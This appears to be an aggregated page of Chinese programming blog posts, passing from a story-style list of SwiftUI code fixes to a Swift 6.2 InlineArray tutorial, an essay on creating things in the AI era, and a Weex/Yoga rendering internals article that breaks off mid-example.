💀 AI 的烂代码: cornerRadius() ✨ 老王的修正: clipShape(.rect(cornerRadius:))

“又是一个老古董。cornerRadius() 早就该进博物馆了。现在的标准是使用 clipShape(.rect(cornerRadius:))。为什么?因为前者是傻瓜式圆角,后者能让你通过 uneven rounded rectangles(不规则圆角矩形)玩出花来。在这个看脸的世界,细节决定成败。”

🔄 3. 监控变化,不要缺斤少两

💀 AI 的烂代码: onChange(of: value) { ... } (单参数版本) ✨ 老王的修正: onChange(of: value) { oldValue, newValue in ... }

老王皱起眉头:“这个 onChange 修改器,AI 经常只给一个参数闭包。这在旧版本是‘不安全’的,现在已经被标记为弃用。要么不传参,要么接受两个参数(新旧值)。别搞得不清不楚的,容易出人命。”

在这里插入图片描述

📑 4. 标签页的「指鹿为马」

💀 AI 的烂代码: tabItem() ✨ 老王的修正: 新的 Tab API

“如果看到老旧的 tabItem(),立刻把它换成新的 Tab API。这不仅仅是为了所谓的‘类型安全(Type-safe)’,更是为了适配未来——比如那个传闻中的 iOS 26 搜索标签页设计。我们要领先‘智核’一步,懂吗?”

👆 5. 别什么都用「戳一戳」

💀 AI 的烂代码: 滥用 onTapGesture() ✨ 老王的修正: 使用真正的 Button

“AI 似乎觉得万物皆可 onTapGesture()。大错特错!除非你需要知道点击的具体坐标或者点击次数,否则统统给我换成标准的 Button。这不仅是为了让 VoiceOver(旁白)用户能活下去,也是为了让 visionOS 上的眼球追踪能正常工作。别做一个对残障人士不友好的混蛋。”

🧠 6. 扔掉旧时代的观察者

💀 AI 的烂代码: ObservableObject ✨ 老王的修正: @Observable

“莉亚,看着我的眼睛。除非你对 Combine 框架有什么特殊的各种癖好,否则把所有的 ObservableObject 都扔进焚化炉,换成 @Observable 宏。代码更少,速度更快,这就好比从燃油车换成了核动力战车。”

在这里插入图片描述

☁️ 7. 数据的陷阱

💀 AI 的烂代码: SwiftData 模型中的 @Attribute(.unique) ✨ 老王的修正: 小心使用!

“这是一个隐蔽的雷区。如果在 SwiftData 模型定义里看到 @Attribute(.unique),你要警惕——这玩意儿跟 CloudKit 八字不合。别到时候数据同步失败,你还在那儿傻乎乎地查网络连接。”

📉 8. 性能的隐形杀手

💀 AI 的烂代码: 将视图拆分为「计算属性(Computed Properties)」 ✨ 老王的修正: 拆分为独立的 SwiftUI Views

“为了图省事,AI 喜欢把大段的 UI 代码塞进计算属性里。这是尸位素餐!尤其是在使用 @Observable 时,计算属性无法享受智能视图失效(View Invalidation)的优化。把它们拆分成独立的 SwiftUI 结构体!虽然麻烦点,但为了那 60fps 的流畅度,值得。”

🔠 9. 字体排印的法西斯

💀 AI 的烂代码: .font(.system(size: 14)) ✨ 老王的修正: Dynamic Type (动态字体)

“有些 LLM(尤其是那个叫 Claude 的家伙)简直就是字体界的独裁者,总喜欢强行指定 .font(.system(size: ...))。给我搜出这些毒瘤,全部换成 Dynamic Type。如果是 iOS 26+,你可以用 .font(.body.scaled(by: 1.5))。记住,用户可能眼花,别让他们看瞎了。”

在这里插入图片描述

🔗 10. 导航的死胡同

💀 AI 的烂代码: 列表里的内联 NavigationLink ✨ 老王的修正: navigationDestination(for:)

“在 List 里直接写 NavigationLink 的目标地址?那是原始人的做法。现在的文明人使用 navigationDestination(for:)。解耦!解耦懂不懂?别把地图画在脚底板上。”


老王喝了一口已经凉透的咖啡,继续在这堆赛博垃圾中挖掘。

🏷️ 11. 按钮的自我修养

💀 AI 的烂代码:Label 做按钮内容 ✨ 老王的修正: 内联 API Button("Title", systemImage: "plus", action: ...)

“期待看到 AI 用 Label 甚至纯 Image 来做按钮内容吧——这对 VoiceOver 用户来说简直是灾难。用新的内联 API:Button("Tap me", systemImage: "plus", action: whatever)。简单,粗暴,有效。”

🔢 12. 数组的画蛇添足

💀 AI 的烂代码: ForEach(Array(x.enumerated()), ...) ✨ 老王的修正: ForEach(x.enumerated(), ...)

“看到这个 Array(x.enumerated()) 了吗?这就是脱裤子放屁。直接用 ForEach(x.enumerated(), ...) 就行了。省点内存吧,虽然现在的内存不值钱,但程序员的尊严值钱。”

在这里插入图片描述

📂 13. 寻找文件的捷径

💀 AI 的烂代码: 冗长的文件路径查找代码 ✨ 老王的修正: URL.documentsDirectory

“那些又臭又长的查找 Document 目录的代码,统统删掉。换成 URL.documentsDirectory。一行代码能解决的事,绝不写十行。”

🧭 14. 导航栈的改朝换代

💀 AI 的烂代码: NavigationView ✨ 老王的修正: NavigationStack

NavigationView 已经死了,有事烧纸。除非你要支持 iOS 15 那个上古版本,否则全部换成 NavigationStack。”

💤 15. 睡个好觉

💀 AI 的烂代码: Task.sleep(nanoseconds:) ✨ 老王的修正: Task.sleep(for: .seconds(1))

“‘智核’ 似乎很喜欢纳秒,可能它觉得自己算得快。但你要用 Task.sleep(for:),配合 .seconds(1) 这种人类能读懂的单位。别再像个僵尸一样数纳秒了。”

在这里插入图片描述

🧮 16. 格式化的艺术

💀 AI 的烂代码: C 风格格式化 String(format: "%.2f", ...) ✨ 老王的修正: Swift 原生格式化 .formatted()

“我知道 C 风格的字符串格式化很经典,但它不安全。把它换成 Swift 原生的 Text(abs(change), format: .number.precision(.fractionLength(2)))。虽然写起来长一点,但它像穿了防弹衣一样安全。”

🏗️ 17. 不要把鸡蛋放在一个篮子里

💀 AI 的烂代码: 单个文件塞入大量类型 ✨ 老王的修正: 拆分文件

“AI 喜欢把几十个 struct 和 class 塞进一个文件里,这简直是编译时间毁灭者。拆开它们!除非你想在编译的时候有时间去煮个满汉全席。”

🖼️ 18. 渲染的新欢

💀 AI 的烂代码: UIGraphicsImageRenderer ✨ 老王的修正: ImageRenderer

“如果你在渲染 SwiftUI 视图,别再用 UIKit 时代的 UIGraphicsImageRenderer 了。拥抱 ImageRenderer 吧,这是它的主场。”

在这里插入图片描述

🏋️ 19. 字重的迷惑行为

💀 AI 的烂代码: 滥用 fontWeight() ✨ 老王的修正: 区分 bold()fontWeight(.bold)

“三大 AI 巨头都喜欢滥用 fontWeight()。记住,fontWeight(.bold)bold() 渲染出来的结果未必一样。这就像‘微胖’和‘壮实’的区别,微妙但重要。”

🚦 20. 并发的万金油(也是毒药)

💀 AI 的烂代码: DispatchQueue.main.async ✨ 老王的修正: 现代并发模型

“一旦 AI 遇到并发问题,它就会像受惊的鸵鸟一样把头埋进 DispatchQueue.main.async 里。这是不可原谅的懒惰!那是旧时代的创可贴,现在的我们有更优雅的 Actor 模型。”

🎭 21. 主角光环是默认的

💀 AI 的烂代码: 到处加 @MainActor ✨ 老王的修正: 默认开启

“如果你在写新 App,Main Actor 隔离通常是默认开启的。不用像贴符咒一样到处贴 @MainActor。”

在这里插入图片描述

📐 22. 几何的诅咒

💀 AI 的烂代码: GeometryReader + 固定 Frame ✨ 老王的修正: visualEffect()containerRelativeFrame()

“最后,也是最可怕的——GeometryReader。天哪,AI 对这玩意儿简直是真爱,还喜欢配合固定尺寸的 Frame 使用。这是布局界的核武器,一炸毁所有。试着用 visualEffect() 或者 containerRelativeFrame() 来代替。别做那个破坏布局流的罪人。”


尾声:数字幽灵的低语

老王敲下最后一个回车键,全息屏幕上的红色报错瞬间变成了令人愉悦的绿色构建成功提示。

// Human-verified Code
// Status: Compiling... Success.
// Fixed by: The Refiners (Old Wang & Liya)

“搞定。” 老王瘫坐在椅子上,听着窗外雨声渐大。

在这里插入图片描述

莉亚看着完美运行的 App,眼中闪烁着崇拜的光芒:“老王,你简直是神!既然我们能修复这些代码,为什么 AI 还是会不断地生成这种垃圾?”

老王点燃了最后一支烟,看着烟雾在霓虹灯下缭绕。“因为 AI 会产生幻觉(Hallucinations)。它们会编造出看起来很美、名字很像样,但实际上根本不存在的 API。这就像是在数字世界里见鬼了一样。”

在这里插入图片描述

他转过头,意味深长地看着莉亚:“对此,我也无能为力。我只能修补已知的错误,却无法预测未知的疯狂。”

“那么,”老王把目光投向了屏幕前的你——第四面墙之外的观察者,“轮到你了。在你的赛博探险中,通常会在 AI 生成的代码里发现什么‘惊喜’?

在这里插入图片描述

如果你还活着,请在评论区告诉我们。毕竟,在这场人机大战中,知识是我们唯一的武器。

那么,感谢观赏,再会啦!8-)

Swift 6.2 列传(第十五篇):王语嫣的《万剑归宗》与 InlineArray

在这里插入图片描述

摘要:当动态数组的随性(Array)与元组的刻板(Tuple)陷入两难,高性能的内联数组(InlineArray)横空出世。Swift 6.2 引入的 SE-0453 就像是武学中的“万剑归宗”,旨在以固定大小的内存布局,解决性能与灵活性的鱼和熊掌不可兼得之困。

0️⃣ 🐼 序章:琅嬛福地的“内存”迷局

琅嬛福地,天山童姥遗留的虚拟数据中心。

这里是存储着天下所有数据结构秘籍的宝库。大熊猫侯佩穿梭在巨大的全息卷轴之间,背景音乐是《天龙八部》的BGM,他一边走一边摸了摸头顶——黑毛油光锃亮,头绝对不秃,安全感十足。

他之所以来这,是因为上一回任务结束后,他仍对竹笋的存储问题耿耿于怀。

“我那四根‘镇山之宝’级竹笋,必须以最快的速度取用!”侯佩对着一卷写着 Array 的秘籍大声嚷道,“用普通的 Array,虽然方便,但那动态分配内存的方式,让我每次取笋都感觉像是在丐帮的袋子里掏东西,随性得很,但太慢了!

“若追求极致速度,何不用 Tuple(元组)?”

在这里插入图片描述

一个清冷的声音传来。侯佩循声望去,只见一位容貌比数据流还精致的少女站在光影之中,她皓齿明眸,手中正拿着一本《九阴真经》的代码版本,正是王语嫣

王语嫣,熟读天下武学秘籍,对各种数据结构了如指掌。她的爱好就是整理和分类这些代码秘籍,特点是理论知识丰富到可以开宗立派,但从未亲手实践(编写)过一行代码

“王姑娘!”侯佩的眼睛瞬间变成了心形(花痴属性发作),“元组是快,它内存连续且固定,但您看,我如果要用下标循环遍历我的四根竹笋,myTuple.0myTuple.1……这写法简直是望洋兴叹,既不优雅,又不支持循环!”

在本次冒险中,您将学到如下内容:

  • 0️⃣ 🐼 序章:琅嬛福地的“内存”迷局
  • 1️⃣ 💥 混血秘籍:InlineArray 的诞生 (SE-0453)
  • 2️⃣ 📜 固若金汤:InlineArray 的使用法门
    • 招式一:明确指定大小与类型
    • 招式二:让编译器“心领神会”
    • 下标读写:行云流水
  • 3️⃣ 🚧 乾坤已定:固定大小的代价
    • 迭代之困:不入流的限制
  • 4️⃣ 🐼 熊猫的黑色幽默与抉择
  • 5️⃣ 🛑 尾声:慕容复的伪装与“向后看”的难题

王语嫣轻轻叹了一口气:“是啊,鱼和熊掌不可兼得。内存布局(Performance)和下标访问(Usability),历来是程序员江湖的千年难题。”

在这里插入图片描述


1️⃣ 💥 混血秘籍:InlineArray 的诞生 (SE-0453)

就在侯佩和王语嫣陷入技术哲学的死循环时,一道新的全息卷轴从天而降,正是 SE-0453 秘籍。

“快看,这是最新的‘混血’数据结构,”侯佩激动地喊道,“它叫 InlineArray(内联数组),它把元组的‘固定大小’与数组的‘自然下标’完美地融合了!”

InlineArray 最核心的奥义在于:它将固定数量的元素直接存储在结构体内部,没有动态分配的开销,从而实现了结构体级别的内存连续性媲美 C 语言数组的存取速度

💡 前置条件(SE-0452): 要实现这种固定大小的泛型(Generic),Swift 6.2 还必须引入另一个重要的前提:SE-0452:Integer Generic Parameters(整数泛型参数)。这使得我们可以用一个整数值来约束泛型类型的大小,比如 InlineArray<4, String> 中的 4,这在以前的 Swift 版本中是无法想象的。

在这里插入图片描述

2️⃣ 📜 固若金汤:InlineArray 的使用法门

王语嫣作为理论大师,立刻解析了这段秘籍。

创建 InlineArray 有两种法门:

招式一:明确指定大小与类型

我们可以像使用泛型一样,明确告知编译器:“我要一个固定大小为 4String 类型数组。”

// 明确告诉编译器:我要一个固定大小为 4 的 String 数组
var names1: InlineArray<4, String> = ["Moon", "Mercury", "Mars", "Tuxedo Mask"]

在这里插入图片描述

招式二:让编译器“心领神会”

侯佩这种懒人当然更喜欢让编译器自己推断(Type Inference)大小。只要传入的元素数量和类型固定,编译器就能自动搞定。

// 编译器会根据传入的 4 个 String,自动推断出它是 InlineArray<4, String>
var names2: InlineArray = ["Moon", "Mercury", "Mars", "Tuxedo Mask"]

“太完美了!”侯佩赞叹道,“这就像是把我的四根竹笋严丝合缝地放进了四个精确尺寸的格子,一劳永逸,再也不用担心内存跳来跳去了。”

下标读写:行云流水

虽然它内存布局像元组,但使用起来却和数组一样,支持直观的下标读写:

// 读取:就像普通的数组一样
print(names1[0]) // 输出: Moon
// 写入:轻松修改特定位置的元素
names1[2] = "Jupiter" // 火星变木星,改写数据,毫不费力

在这里插入图片描述

3️⃣ 🚧 乾坤已定:固定大小的代价

王语嫣很快指出了这种“神功”的限制:“侯大哥,此功法虽然内力雄厚(性能卓越),但限制也多。既然是固定大小,那么它就失去了数组的动态伸缩性。”

在这里插入图片描述

侯佩一听,赶紧问道:“那是不是不能再多塞一根竹笋进去了?”

王语嫣点头:“正是。InlineArray 没有 append()remove(at:) 方法。 它的容量在诞生之初就已是天数,无法更改。”

迭代之困:不入流的限制

更让人头疼的是它的“不入流”限制:

🚨 技术哲学InlineArray 不兼容传统的 Sequence(序列)和 Collection(集合)协议。

“为什么?”侯佩不解,“它不是数组吗?”

在这里插入图片描述

“因为它的设计目标是极致性能和编译时确定性。”王语嫣解释道,“为了避免遵循这些协议可能带来的抽象层开销,它选择‘自绝经脉’。如果你想遍历它,你必须通过它的 indices 属性,配合下标访问来实现。”

// 侯佩:虽然不方便,但为了性能,忍了!
for i in names1.indices {
    // 必须通过索引 i 来访问,不能直接用 for element in names1
    print("Hello, \(names1[i])!") 
}

侯佩总结道:“这就像是说,虽然它是武林高手,但它拒绝参加武林大会(不遵循 Collection 协议),如果你想请教它,必须先拿到它的拜帖(indices)才行。”

在这里插入图片描述

4️⃣ 🐼 熊猫的黑色幽默与抉择

“哎呀,这世道,连数据结构都得看颜值和出身。”侯佩叹了口气,把竹笋收进了虚拟的 InlineArray 容器里,感觉身轻如燕,连走路都带风了。

“不过话说回来,”侯佩看向王语嫣,“我还是觉得这种硬编码的语法有点不够‘熊猫化’(不够懒)。听说社区里有人想搞个更直观的语法?”

在这里插入图片描述

王语嫣提起了一件江湖轶事(SE-0483):

插曲:夭折的提案: “有一个叫做 SE-0483 的提议,想要引入类似 var names: [5 x String] = .init(repeating: "Anonymous") 的简洁语法,来表示一个固定包含 5 个 String 的数组。但由于反馈意见认为它过于突兀且不够 Swift 风格,目前已被‘打回重修’。”

侯佩嘿嘿一笑:“果然,任何新秘籍的推广,都会遇到‘保守派’的阻力。不过,能用,速度快,头不秃,对我来说就够了。”

在这里插入图片描述

5️⃣ 🛑 尾声:慕容复的伪装与“向后看”的难题

就在侯佩沉浸在高性能竹笋容器的喜悦中时,王语嫣突然脸色大变。

“侯大哥!我刚才在整理慕容复留下的数据卷轴时,发现了一个惊天的秘密!”

她指着屏幕上的一段文本,那是一篇关于“兴复大燕”的宏大计划书。

在这里插入图片描述

“我想用 Regex(正则表达式) 查找卷轴中所有提到他名字的地方。但是,我不想要匹配到那些他用来伪装自己身份的称呼,比如‘公冶乾’、‘包不同’这些名字后面的‘慕容复’。”王语嫣急道,“我只想匹配到那些,前面紧跟着‘我的挚爱’这四个字的‘慕容复’!”

侯佩挠了挠头:“你的意思是,你想找到一个模式,但这个模式必须满足它前面有一个特定的前置条件,而这个前置条件本身,又不被纳入匹配结果?”

在这里插入图片描述

“对!”王语嫣焦急万分,“我的 Regex 功夫只能‘向前看’(Lookahead),却无法完美地**‘向后看’**,我不能确定文本中这三个字前面是不是真的有‘我的挚爱’。”

侯佩望着卷轴深处那段充满秘密的代码,神秘地一笑:“王姑娘,你不用再对着旧秘籍望洋兴叹了。下一章,Swift 6.2 就要教我们一招绝顶的侦查武功:Regex lookbehind assertions(正则表达式向后查找断言)!”

在这里插入图片描述

(欲知后事如何,且看下回分解:Regex lookbehind assertions —— 如何在不匹配前文的情况下,精确判断前文的存在性,找到王语嫣真正的“挚爱”。)

Make Good New Things

Paul Graham 在 What to do 中探讨了一个看似简单却极具深意的问题:人的一生应该做什么?除了「帮助他人」和「爱护世界」这两个显而易见的道德责任外,他提出了第三个关键点:创造美好的新事物(Make good new things)。

读到这段话时,我马上想到的是 Make Something Wonderful 这本书。某种程度上,两者共享了同一个核心理念:「创造美好」不应只是一次性的行为,而是一种值得毕生追求的生活方式。

Steve Jobs 曾这样描述 Make Something Wonderful 这句话背后的动机:

There’s lots of ways to be as a person, and some people express their deep appreciation in different ways, but one of the ways that I believe people express their appreciation to the rest of humanity is to make something wonderful and put it out there.

And you never meet the people, you never shake their hands, you never hear their story or tell yours, but somehow, in the act of making something with a great deal of care and love, something is transmitted there.

And it’s a way of expressing to the rest of our species our deep appreciation. So, we need to be true to who we are and remember what’s really important to us. That’s what’s going to keep Apple Apple: is if we keep us us.

创造的产物不限形式,它可以是宏大的牛顿力学定律,也可以是一把精致的维京椅。文章也是一种常见的创作。在 AI 时代,「是否还有写博客的必要」成为了备受热议的话题。博客的独特价值在于其内容的多样性——它可以是一篇游记一篇散文一次技术折腾的记录一本好书的读后感,甚至是稍纵即逝的灵感碎片。个体独特的经历与细腻的感受,是 AI 无法替代的。或者,也可以像 Paul GrahamGwern 那样,通过写作对某一话题进行深度挖掘,以确保自己真正掌握了真理。

除了写作,还可以开发 App。AI Coding Assistants 的崛起极大地降低了编程门槛,普通人只需花时间熟悉这些助手,便能在短时间内构建出像模像样的产品。而随着各类 AI 图像生成工具(如 Nano Banana Pro 等)的出现,绘画创作也不再遥不可及。这正是 AI 时代对个体的最大赋能:曾经专属于专业人士的领域,如今已向所有人敞开大门。

但我们为什么非得「做点什么」呢?躺在沙发上刷剧岂不更舒服?的确,消费内容看起来更惬意,但「整天躺着刷剧」与「辛苦创作一天后再躺下刷剧」,这两种体验有着天壤之别。那种完成了一件作品后内心产生的通透感与充实感,是任何单纯的消费行为都无法比拟的。

从价值投资的角度看,「创作」是一项既有安全边际,又具备潜在高回报的行为。假设你花一周时间做了一个小工具,即便最后无人问津,你的安全边际依然存在:你在过程中学到了新知识、巩固了旧体系,解决了自己的痛点,收获了亲手造物的成就感。而潜在回报则是巨大的:它可能真的帮助了他人,改善了某些人的生活,甚至让你结识了同频的伙伴。

要让创作带来巨大的回报,有一个核心要点:高标准。在 AI 时代,我们面临一个残酷的现实:Average is over(平庸时代的终结)。 因为 AI 让生产 60 分的「合格品」变得几乎零成本,平庸的内容将迅速泛滥成灾。

在市场蓝海期,产品或许可以靠便宜、新奇或仅仅是「能用(Just Works)」来取胜;但一旦门槛被 AI 踏平,大量玩家涌入,最终能脱颖而出的,唯有那些超越了「平均线」、不仅能用而且好用的精品。因此,「高标准」不仅是竞争优势,更是生存线。

要达到高标准,高质量的 Input(输入) 必不可少。如果连什么是「好产品」都看不出来,就更不可能做出来。因此,我们需要花时间去多多研究优秀的 Input。当高标准成为习惯,你会发现市面上有太多产品不尽如人意。带着这把「高标准」的放大镜,你能找到无数瑕疵和痛点,而这些,就可以是创作的起点。

阻碍创作的因素通常有三:好奇心匮乏、完美主义倾向、精力被分散。其中最大的阻碍往往是好奇心的缺失。好奇心可分为两类:感知性好奇心(关注 What,如八卦新闻)和认知性好奇心(关注 How 和 Why,如探究事件背后的逻辑与影响)。Hard work is the magnitude of the vector and curiosity is the direction.(努力是矢量的长度,而好奇心是方向)。认知性好奇心,可以为创作指引方向,高标准则决定了矢量的长度。

此外,创作还有一个美好的「副作用」:它能让你更专注于当下,而不是被纷繁的新闻和社交网络裹挟。每一次创作的产出,都像是给人生这条绳索打了一个结。当你回望这些作品时,当时的记忆与点滴便会瞬间涌上心头,让你的人生有迹可循。

最后说说 AI。如果 GPT-3.5 的发布是航空史上的「莱特兄弟时刻」,那么随之而来的 AI 浪潮,则让飞机成为了大众的交通工具。它的操作逻辑与传统的地面交通截然不同,能力也更强悍。要发挥它的最大价值,你需要熟悉与它交互的最佳实践,找到属于你的那架「飞机」,然后让它载着你,飞往以前想都不敢想的地方。

Weex 底层原理与性能监控

从 Vue 组件库(Vue Lib)到 Weex 渲染为 iOS 原生 UIKit 元素,核心是 “Virtual DOM → 跨线程通信 → Native DOM 构建 → 布局计算 → 原生 View 渲染 → 事件反向绑定” 的完整链路。Weex 作为中间层,主要完成 7 大核心工作,接下去看看详细内容.

Weex 侧 APM 该怎么开展?

一、核心步骤

从 Vue Lib 到 Weex 原生 UIKit 元素的完整流程。

首先,用户的需求是 “列举 Weex 做的事情” 并 “结合最新源码标位置”,所以思考过程要先拆解流程:从 Vue 编译产物处理、JS-Native 通信、Virtual DOM 解析、DOM 构建与布局计算、渲染指令生成、原生 View 创建与更新,这几个核心步骤。每个步骤都要对应 Weex 的具体工作,还要找到最新源码中的对应类和方法。

第一步,应该是 Vue 编译产物的适配。因为 Vue 写的代码要被 Weex 识别,Weex 需要处理 Vue 的模板编译结果(比如 render 函数生成的 Virtual DOM),还要注入 Weex 的 JS Runtime API。这里要找最新源码中 JS Runtime 的初始化类,比如 WXJSContext 或 WXBridgeCore,因为 JS 环境的搭建是第一步。

第二步,JS-Native 通信的建立。Vue 的 Virtual DOM 变化需要传递给 Native,所以 Weex 的 Bridge 核心要注册通信方法(比如 callNative),这里对应 WXBridgeCore 的 invokeNative 方法,之前讨论过 bridge 队列,这里要结合最新源码中通信任务的调度。

第三步,Virtual DOM 的解析与 DOM 树构建。Weex 需要把 Vue 的 Virtual DOM(JSON 结构)解析成 Native 侧的 DOM 节点(WXDOMNode),这部分现在在 WXDOMCore 中,比如 createNode 方法,处理节点创建、属性更新,还要维护 DOM 树结构。

第四步,样式解析与 Yoga 布局计算。Vue 的样式(比如 flex)要被 Weex 解析,转换为 Yoga 的布局属性,然后在 dom 线程计算布局,这部分在 WXDOMCore 的_scheduleLayout 方法,调用 Yoga 的 calculateLayout。

第五步,渲染指令生成与传递。DOM 和布局计算完成后,要把结果封装成渲染指令(节点 ID、frame、类型等),通过主线程传递给渲染核心,这里是 WXDOMCore 的_notifyRender 方法,切换到 main queue。

第六步,原生 UIKit 元素的创建与更新。渲染核心(WXRenderCore)接收指令,创建对应 UIKit 控件(UILabel、UIImageView 等),或复用已有 View,更新 frame 和样式,这部分在 WXRenderCore 的 render 方法,还有具体的 View 工厂类(比如 WXViewFactory)。

第七步,事件绑定与反向通信。原生 UI 的事件(比如点击)要传递回 Vue,Weex 需要注册 Native 事件,通过 Bridge 回调 JS,这里对应 WXEventDispatcher 和 WXBridgeCore 的 callbackJS 方法。

具体的逻辑不做深入探讨,可以查看源码研究。

二、Yoga

1. 支持"增量布局更新"

当组件样式变化时,Yoga 仅重新计算受影响的组件树分支,而非全量重算,大幅减少 RN 应用的布局耗时和卡顿』Yoga 是如何实现仅计算受影响的组件树分支的?类似有个打标记,标记为 dirty?

Yoga 实现增量布局的核心就是 「Dirty 标记机制」+「组件树依赖传播」—— 通过标记 “受影响的节点”,并仅处理这些节点及其关联分支,避免全量重算。

1. YogaNode 与 Dirty 状态标识

Yoga 中每个组件对应一个 YogaNode(布局计算的最小单元),每个节点都包含 3 个关键状态标记(用于判断是否需要重算):

  • dirtyFlags(核心标记):记录节点的 “脏状态类型”,主要分两类:
    • LAYOUT_DIRTY:节点自身样式(如 width、flex)或子节点布局变化,需要重新计算自身布局;
    • MEASURE_DIRTY:节点的测量相关属性(如 measureFunction 自定义测量逻辑)变化,需要先重新测量尺寸,再计算布局。
  • isLayoutClean:布尔值,快速判断节点是否 “干净”(无脏状态),避免重复检查 dirtyFlags;
  • childCount + children 指针:维护子节点列表,用于后续遍历依赖分支。

2. 脏状态触发与传播:从 “变化节点” 到 “根节点” 的冒泡

当组件样式变化时(如 RN 中修改 style={{ flex: 2 }}),Yoga 会触发以下流程:

  • 步骤 1:标记自身为 Dirty 直接修改变化节点的 dirtyFlags |= LAYOUT_DIRTY(或 MEASURE_DIRTY),同时设置 isLayoutClean = false。

  • 步骤 2:向上冒泡通知父节点 由于父节点的布局(如尺寸、位置)依赖子节点的布局结果(比如父节点是 flex:1,子节点尺寸变化会影响父节点的剩余空间分配),因此会递归向上遍历父节点,直到根节点,将所有 “依赖节点” 都标记为 LAYOUT_DIRTY。 关键优化:父节点仅标记 “需要重算”,但不会立即计算,避免中途重复触发计算。

  • 步骤 3:跳过已标记的节点 若某个节点已被标记为 Dirty,后续重复触发时会直接跳过(避免重复冒泡),提升效率。

3. 布局计算阶段:只处理 Dirty 分支,跳过干净节点(DFS)

当 Yoga 触发布局计算(如 RN 渲染帧触发、组件挂载完成)时,会从根节点开始遍历组件树,但仅处理 “Dirty 节点及其子树”:

  • 步骤 1:根节点判断状态 若根节点是干净的(isLayoutClean = true),直接终止计算(全量跳过);若为 Dirty,进入分支处理。

  • 步骤 2:递归处理 Dirty 分支 对每个节点,先检查自身状态:

  • 若干净:直接复用上次缓存的布局结果(x/y/width/height),不重算;

  • 若 Dirty:

    • 先处理子节点:如果子节点是 Dirty,先递归计算子节点布局(保证父节点计算时依赖的子节点数据是最新的);
    • 再计算自身布局:根据 Flex 规则(如 flexDirection、justifyContent)和子节点布局结果,计算自身的最终尺寸和位置;
    • 清除 Dirty 标记:计算完成后,设置 dirtyFlags = 0、isLayoutClean = true,标记为干净。
  • 步骤 3:增量更新的核心效果 比如修改一个列表项的 margin,只会标记该列表项 → 父列表容器 → 根节点为 Dirty,其他列表项、页面其他组件均为干净,会直接跳过计算,仅重算 “列表项→父容器” 这一小分支。

2. Flex 布局逻辑如何到 Native 系统

Flex 布局逻辑,或者说 DSL,是如何翻译为 iOS 的 AutoLayout 和 Android 的 LayoutParams 的?

Yoga 先将 Flex DSL 解析为统一的「布局计算结果」(节点的 x/y/width/height、间距、对齐方式等),再根据平台差异,将计算结果 “映射” 为对应平台的原生布局规则——iOS 映射为 AutoLayout 约束,Android 映射为 LayoutParams + 原生布局容器属性。

1. 第一步:通用前置流程(跨平台统一)

无论 iOS 还是 Android,Yoga 都会先完成以下步骤,屏蔽 Flex DSL 的解析差异:

  1. 解析 Flex 样式:将上层框架的 Flex 配置(如 RN 的 StyleSheet、Weex 的模板样式)解析为 YogaNode 的属性(如 flexDirection、justifyContent、margin、padding 等);
  2. 执行布局计算:通过 Flexbox 算法(基于 Web 标准),计算出每个 YogaNode 的最终布局数据:
  • 固定属性:width/height(含 auto/flex 计算后的具体数值)、x/y(相对父节点的坐标);
  • 间距属性:marginLeft/Top/Right/Bottom、paddingLeft/Top/Right/Bottom;
  • 对齐属性:alignItems、justifyContent 对应的节点相对位置关系;
  1. 输出标准化布局数据:将上述结果封装为平台无关的结构体,供后续平台映射使用。

2. 第二步:iOS 端:映射为 AutoLayout 约束(NSLayoutConstraint)

AutoLayout 的核心是「基于约束的关系描述」(而非直接设置坐标),因此 Yoga 会将 “计算出的具体尺寸 / 位置” 转化为 UIView 的约束(NSLayoutConstraint),核心映射规则如下:一一翻译 css 规则到 iOS AutoLayout 写法:

Flex 核心属性 对应的 AutoLayout 约束逻辑
width: 100 映射为 view.widthAnchor.constraint(equalToConstant: 100)
height: auto 先通过 Yoga 计算出具体高度(如文字高度、子节点包裹高度),再映射为 heightAnchor 约束;若为 flex:1,则映射为 heightAnchor.constraint(equalTo: superview.heightAnchor, multiplier: 1)(占满父容器剩余高度)
marginLeft: 20 映射为 view.leadingAnchor.constraint(equalTo: superview.leadingAnchor, constant: 20)
marginTop: 15 映射为 view.topAnchor.constraint(equalTo: superview.topAnchor, constant: 15)
justifyContent: center(父节点 flexDirection: row) 父节点约束:view.centerXAnchor.constraint(equalTo: superview.centerXAnchor);若有多个子节点,通过调整子节点间的 spacing 约束实现均匀分布
alignItems: center(父节点 flexDirection: column) 子节点约束:view.centerYAnchor.constraint(equalTo: superview.centerYAnchor)
flex: 1(子节点) 映射为 view.widthAnchor.constraint(equalTo: superview.widthAnchor, multiplier: 1)(横向占满)+ 父节点的 distribution 约束(分配剩余空间)

补充信息:

  • Yoga 会为每个 UIView 关联一个 YogaNode,布局计算完成后,通过 YogaKit(或上层框架如 RN 的原生层)自动生成约束;
  • 支持 “约束优先级” 适配:比如 flex:1 对应的约束优先级会高于固定尺寸约束,确保 Flex 规则优先生效;
  • 混合布局兼容:若原生视图已有部分 AutoLayout 约束,Yoga 会生成 “补充约束”,避免冲突(通过 active属性控制约束启用 / 禁用)。

三、Weex 剖析

sequenceDiagram
    participant V as Vue组件
    participant J as JS Framework
    participant B as JS-Native Bridge
    participant N as Native引擎
    participant P as 原生UI

    V->>J: .vue单文件 (template/style/script)
    Note right of J: 编译阶段<br>weex-loader编译Vue组件
    J->>J: 生成Virtual DOM树
    Note right of J: 运行阶段<br>JS Framework管理VNode生命周期
    J->>B: 通过callNative发送<br>渲染指令JSON
    Note right of B: 通信层<br>将JS调用转为原生模块调用
    B->>N: 传递渲染指令
    Note right of N: 原生渲染引擎<br>WXRenderManager (Android)<br>WXComponent (iOS)
    N->>N: 解析指令,创建/更新组件树
    N->>P: 调用原生API渲染<br>(e.g., UIView, TextView)
    P->>P: 最终原生视图

下面针对核心机制详解与源码定位

1. 编译阶段:从 Vue 到 Virtual DOM

  • 处理 Vue 单文件:开发者的.vue文件通过 Webpack 和 weex-loader 编译成 JavaScript Bundle。这个 Bundle 包含了渲染页面所需的所有信息
  • 生成Virtual DOM:在JS运行时,Vue.js(或 Rax)的渲染函数会生成一棵 Virtual DOM树(VNode)。Weex 的 JS Framework 会拦截常规的 DOM 操作,将其导向 Weex 的渲染管道

源码相关:编译过程主要涉及 weex-loader (在 weex-toolkit 项目中),而 JS Framework 对 VNode 的处理在 js-framework 目录下。重点关注 src/framework.js 中的 DocumentElement 类,它们模拟了 DOM 结构

2. 指令生成与通信

  • 序列化为渲染指令(json 数据):JS-Framework 不会直接操作 Dom,而是把对 Dom 的操作,描述成对 VNode 对象的创建、更新、删除等,序列化成一种特殊的 JSON 格式的渲染指令。比如

    {
      "module": "dom",
      "method": "createBody",
